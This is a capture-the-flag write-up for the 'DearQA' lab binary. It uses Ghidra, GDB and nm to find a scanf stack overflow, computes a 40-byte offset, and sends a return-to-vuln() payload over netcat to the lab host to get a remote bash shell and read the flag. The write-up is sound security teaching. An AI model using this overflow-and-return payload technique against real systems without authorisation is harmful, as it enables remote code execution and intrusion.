Table of contents
Just another BufferOverflow Write-up.
Are you able to solve this challenge involving reverse engineering and exploit development?
Binary analysis
The challenge's binary is a 64-bits ELF executable:
kali@kali:~$ file DearQA.DearQA
DearQA.DearQA: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dae71dcf7b3fe612fe9f7a4d0fa068ff3fc93bd, not stripped
Thus, we have the first challenge's response:
What is the binary architecture?
x64
The program asks for a name, and prints it in the console's output:
kali@kali:~$ ./DearQA.DearQA
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: jamarir
Hello: jamarir
That same program is run remotely on the lab's machine:
kali@kali:~$ nc 10.10.132.152 5700
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: jamarir
jamarir
Hello: jamarir
Thus, I suppose I have to exploit the binary in the server to get a flag. Let's analyse it locally using Ghidra.
Reverse engineering using Ghidra
First, I installed Ghidra and launched it:
wget https://download.oracle.com/java/17/latest/jdk-17_linux-x64_bin.tar.gz -O /tmp/jdk-17_linux-x64_bin.tar.gz
gzip -d /tmp/jdk-17_linux-x64_bin.tar.gz
cd ~
tar xvf /tmp/jdk-17_linux-x64_bin.tar
wget https://github.com/NationalSecurityAgency/ghidra/releases/download/Ghidra_10.1.2_build/ghidra_10.1.2_PUBLIC_20220125.zip -O /tmp/ghidra.zip
unzip /tmp/ghidra.zip -d ~/
sudo ln -s ~/ghidra_10.1.2_PUBLIC/ghidraRun /usr/local/bin/ghidra
ghidra
We see 2 interesting functions:
main()
, which is called at startup:
int main(void)
{
undefined name [32];
puts("Welcome dearQA");
puts("I am sysadmin, i am new in developing");
printf("What\'s your name: ");
fflush(stdout);
__isoc99_scanf(&DAT_00400851,name);
printf("Hello: %s\n",name);
return 0;
}
vuln()
, which spawns a shell:
void vuln(void)
{
puts("Congratulations!");
puts("You have entered in the secret function!");
fflush(stdout);
execve("/bin/bash",(char **)0x0,(char **)0x0);
return;
}
Therefore, it becomes clear that we must, somehow, call the function vuln()
, which isn't called in the main()
function.
Buffer OverFlow
PoC
Our input is stored in a char
array, limited to 32 characters.
int main(void)
{
undefined name [32];
Therefore, if the input heavily exceeds that limit (e.g. with 100 characters), the program should crash:
kali@kali:~$ ./DearQA.DearQA <<< $(python2 -c 'print"A"*100')
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh: segmentation fault ./DearQA.DearQA <<< $(python2 -c 'print"A"*100')
This behaviour is due to the fact that the instruction pointer (eip
:32-bits, rip
:64-bits) points to an address which contains no instruction.
Overwritting rip
was possible because the scanf function keeps on reading our input until it finds a NULL byte. In other words, it is possible to input more than 32 characters in name
, which leads to memory overflow.
Indeed, when the name
array is declared in main()
, the stack looks like:
(0x0000000000000000)
...
name
name
name
name
rbp'
rip'
...
(0xffffffffffffffff)
Low memory addresses are at the top, whereas high memory addresses are at the bottom.
Before main()
is called, it performs a prologue. First, the arguments of the function are pushed on the stack, in reverse order (e.g. argv
, then argc
if the call is main(int argc, char** argv)
).
Here, no arguments are pushed as
main(void)
takes no argument.
Secondly, it saves (pushes) in the stack:
The instruction pointer (annotated
rip'
), in order to recover the execution flow aftermain()
finished.The base pointer (annotated
rbp'
), in order to recover that base pointer aftermain()
finishes (the base pointer is used to look for arguments via offsets, e.g.argc=rbp+8
,argv=rbp+12
in a 32-bits system).
As the architecture of the executable is 64 bits, each slot in the stack contains 64 bits, i.e. 8 bytes.
Let's have a look at the following crash in a debugger (I'm using the GDB-plugin pwndbg):
kali@kali:~$ gdb ./DearQA.DearQA
pwndbg> run <<< `python2 -c 'print"A"*32+"B"*8+"C"*8'`
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
RBP 0x4242424242424242 ('BBBBBBBB')
RSP 0x7fffffffda98 ◂— 'CCCCCCCC'
RIP 0x40072f (main+108) ◂— ret
─────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────
► 0x40072f <main+108> ret <0x4343434343434343>
We know name
is an array of 32 characters. However, when name
has a length of 32+8+8
, it first overwrites rbp'
, and then rip'
.
Indeed, if name
contains "A"*32+"B"*8+"C"*8
, the stack's slots would contain:
(0x0000000000000000)
...
name (AAAAAAAA)
name (AAAAAAAA)
name (AAAAAAAA)
name (AAAAAAAA)
rbp' (BBBBBBBB)
rip' (CCCCCCCC)
...
(0xffffffffffffffff)
However, once the main()
function finished, it executes its epilogue, which:
Sets the stack pointer to
rbp'
;Restores
rbp
intorbp'
using thepop
assembly instruction ;Restores
rip
intorip'
using theret
assembly instruction ;
However, our input above overwrote:
rbp'
to"BBBBBBBB"
.rip'
to"CCCCCCCC"
.
As a result, the program crashes because the address contained in rip
pointer (i.e. 0x4343434343434343
) isn't pointing to an instruction.
RCE
All we need to do is to set rip'
to the vuln()
's address in order to get a shell. In other words, we are telling the program that once main()
has been executed, it should continue with vuln()
.
nm
tool can be used to retrieve the addresses of the functions in the executable:
kali@kali:~$ nm DearQA.DearQA
0000000000600c08 B __bss_start
0000000000600c18 b completed.6670
0000000000600bf8 D __data_start
0000000000600bf8 W data_start
00000000004005c0 t deregister_tm_clones
0000000000400640 t __do_global_dtors_aux
00000000006009c0 d __do_global_dtors_aux_fini_array_entry
0000000000600c00 D __dso_handle
00000000006009d0 d _DYNAMIC
0000000000600c08 D _edata
0000000000600c20 B _end
U execve@@GLIBC_2.2.5
U fflush@@GLIBC_2.2.5
00000000004007a4 T _fini
0000000000400660 t frame_dummy
00000000006009b8 d __frame_dummy_init_array_entry
00000000004009b0 r __FRAME_END__
0000000000600ba8 d _GLOBAL_OFFSET_TABLE_
w __gmon_start__
00000000004004f0 T _init
00000000006009c0 d __init_array_end
00000000006009b8 d __init_array_start
00000000004007b0 R _IO_stdin_used
U __isoc99_scanf@@GLIBC_2.7
w _ITM_deregisterTMCloneTable
w _ITM_registerTMCloneTable
00000000006009c8 d __JCR_END__
00000000006009c8 d __JCR_LIST__
w _Jv_RegisterClasses
00000000004007a0 T __libc_csu_fini
0000000000400730 T __libc_csu_init
U __libc_start_main@@GLIBC_2.2.5
00000000004006c3 T main
U printf@@GLIBC_2.2.5
U puts@@GLIBC_2.2.5
0000000000400600 t register_tm_clones
0000000000400590 T _start
0000000000600c10 B stdout@@GLIBC_2.2.5
0000000000600c08 D __TMC_END__
0000000000400686 T vuln
The address we need to overwrite is 0x0000000000400686
(last line above). In little-endian, the payload is:
kali@kali:~$ ./DearQA.DearQA <<< `python2 -c 'print"A"*32+"B"*8+"\x86\x06\x40\x00\x00\x00\x00\x00"'`
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB@
Congratulations!
You have entered in the secret function!
What goes into
rbp
doesn't matter. Here, I filled it with eight"B"
s.
The secret function got executed! However, the execution flow immediately stops after the name is displayed in the console.
We can use cat
in order to block the execution flow after the shell spawned:
kali@kali:~$ (python2 -c 'print"A"*32+"BBBBBBBB"+"\x86\x06\x40\x00\x00\x00\x00\x00"'; cat) |./DearQA.DearQA
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB@
Congratulations!
You have entered in the secret function!
whoami
kali
Finally, we can use the same payload in the server to spawn a remote shell:
kali@kali:~$ (python2 -c 'print"A"*32+"BBBBBBBB"+"\x86\x06\x40\x00\x00\x00\x00\x00"'; cat) |nc 10.10.132.152 5700
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB^F@^@^@^@^@^@
Welcome dearQA
I am sysadmin, i am new in developing
What's your name: Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB@
Congratulations!
You have entered in the secret function!
bash: cannot set terminal process group (450): Inappropriate ioctl for device
bash: no job control in this shell
The flag is:
ctf@dearqa:/home/ctf$ ls
DearQA dearqa.c flag.txt
ctf@dearqa:/home/ctf$ cat flag.txt
THM{PW[...]SY}